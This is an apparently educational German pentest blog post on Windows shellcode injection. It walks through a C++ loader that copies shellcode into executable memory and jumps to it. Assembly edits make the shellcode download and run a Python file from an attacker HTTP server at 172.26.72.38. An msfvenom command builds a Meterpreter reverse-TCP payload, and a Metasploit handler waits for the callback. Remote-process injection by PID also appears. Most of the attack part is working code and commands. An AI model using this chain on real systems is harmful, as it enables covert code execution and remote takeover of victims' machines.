{{tag>IT-Security Windows Kali pentest blog deutsch}}
====== Shellcode Injection Teil 3 ======

{{:it-security:blog:shellcode-part-3.png?400|}}

In der Regel werden Shellcode Injections dazu benutzt, eine Reverse Shell zu initiieren. Jedoch kann es unter manchen Umständen nötig sein, den Code für die Shell erst im zweiten Schritt zu laden.

In diesem Blogpost zeige ich, wie wir eine Shellcode Injection nutzen können, um eine Datei mittels HTTP zu laden und anschließend auszuführen.
\\
\\
===== Code =====

==== C++ Programm ====

Als erstes brauchen wir ein kleines Programm, welches den Shellcode in den Speicher lädt und anschließend in diesen hineinspringt.

<code cpp>
...
//buf ist der Shellcode
unsigned char buf[] =
"\xeb\x74\x31\...\x69\x70\x00";

int main(int argc, char** argv) {
...
    //Speicherbereich adressieren
	void* stage = VirtualAlloc(0, 0x1000, 0x1000, 0x40);
	void (*target)();
...
	//Shellcode in den Speicher verschieben
	memmove(stage, buf, 0x1000);
...
	//Verschiebe die Shellcode Adresse nach eax und springe dorthin
	__asm {
		mov eax, target
		jmp eax
	}
}
</code>

Den kompletten Code findet Ihr im [[https://github.com/psycore8/nosoc-shellcode/tree/main/nosoc-shellcode-3|Repository]].
\\
\\
==== Assembly ====

Einen gut dokumentierten Assembler Code finden wir im [[https://github.com/stephenbradshaw/shellcode/blob/master/descript.asm|Repository von Stephen Bradshaw]].

=== Assembly anpassen ===

Der Code führt eine heruntergeladene VBS Datei aus. Wir wollen jedoch ein Python Script starten, welches eine Meterpreter Shell erzeugt. Hierzu ändern wir folgende Stellen:

<code stylus>
;Zeile 143 / +7 markiert den Anfang des Dateinamens (WindowsAgent.py)
lea edx, [esi + 7]	

;Zeile 184 / Befehlszeile, die ausgeführt werden soll
db "python WindowsAgent.py", 0 

;Zeile 192 / Unsere URL
db "http://172.26.72.38/nat.zip", 0
</code>
\\
\\
=== Shellcode erstellen ===

Den Shellcode müssen wir als ''%%x86 Windows%%'' Binärdatei ausgeben. Dies machen wir mit ''%%nasm%%'':

<code bash>
nasm -f win32 download.asm -o shellcode.o
</code>

Das Binary lassen wir uns nun ''%%C++%%'' freundlich anzeigen:

<code bash>
objdump -D ./shellcode.o |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
</code>

Die Ausgabe nutzen wir als Shellcode in unserem ''%%C++%%'' Code und kompilieren unser Projekt.
\\
\\
=== Shellcode testen ===

Um den Shellcode zu verstehen, debuggen wir anschließend das Programm. Wir suchen den Aufruf der Funktion ''%%main()%%''

{{:it-security:blog:2024-120 -1.png}}

Von ''%%main()%%'' aus suchen wir den Sprung in den Shellcode Speicherbereich. In unserem Programm haben wir diesen mit Inline Assembly realisiert: ''%%call eax%%''. Dies sieht im Debugger so aus:

{{:it-security:blog:2024-120 -2.png}}

Springen wir nun rein, sehen wir unseren Shellcode:

{{:it-security:blog:2024-120 -3.png}}

Von hier aus können wir die Prozeduren verstehen und testen.
\\
\\
===== Payload =====

==== Meterpreter Payload vorbereiten ====

Wie Eingangs erwähnt, wollen wir eine Meterpreter Shell mittels Python erzeugen. Also benötigen wir einen entsprechenden Payload. Diesen erzeugen wir uns mit ''%%msfvenom%%''.

<code bash>
msfvenom -p python/meterpreter/reverse_tcp LHOST=172.26.72.38 LPORT=4500 > payload.py
</code>

Der Shellcode lädt die Datei ''%%nat.zip%%'' von einem HTTP Server herunter, speichert diese als ''%%WindowsAgent.py%%'' und führt sie dann aus. Also bereiten wir dies entsprechend vor:

<code bash>
cp payload.py nat.zip

python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
</code>

Zu guter Letzt benötigen wir noch einen Metasploit Handler, welcher unsere Shell entgegen nimmt. Dieser kann über das Script ''%%nosoc3.rc%%'' gestartet werden:

<code ruby>
msf6 > resource nosoc3.rc
[*] Processing /home/kali/nosoc3.rc for ERB directives.
resource (/home/kali/nosoc3.rc)> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (/home/kali/nosoc3.rc)> set payload python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp
resource (/home/kali/nosoc3.rc)> set lhost 0.0.0.0
lhost => 0.0.0.0
resource (/home/kali/nosoc3.rc)> set lport 4500
lport => 4500
resource (/home/kali/nosoc3.rc)> run

[*] Started reverse TCP handler on 0.0.0.0:4500 
</code>

Nun ist alles bereit.
\\
\\
==== Angriff ====

Starten wir nun das Programm auf dem Ziel PC.

{{:it-security:blog:2024-120 -4.png}}

Das Python Script wird heruntergeladen:

{{:it-security:blog:2024-120 -5.png}}

Und schließlich werden wir von einer Meterpreter Shell begrüßt:

{{:it-security:blog:2024-120 -6.png}}
\\
\\
===== CreateRemoteThread =====

Wir können den Shellcode natürlich auch in fremde Prozesse injizieren. Ein Beispielprogramm hierzu gibt es auch im Repository. Zum Starten muss die Ziel PID als Argument übergeben werden:

<code batch>
RemoteInject.exe 10001
</code>
\\
\\
===== Repository =====

<code bash>
git clone https://github.com/psycore8/nosoc-shellcode
</code>

~~DISCUSSION~~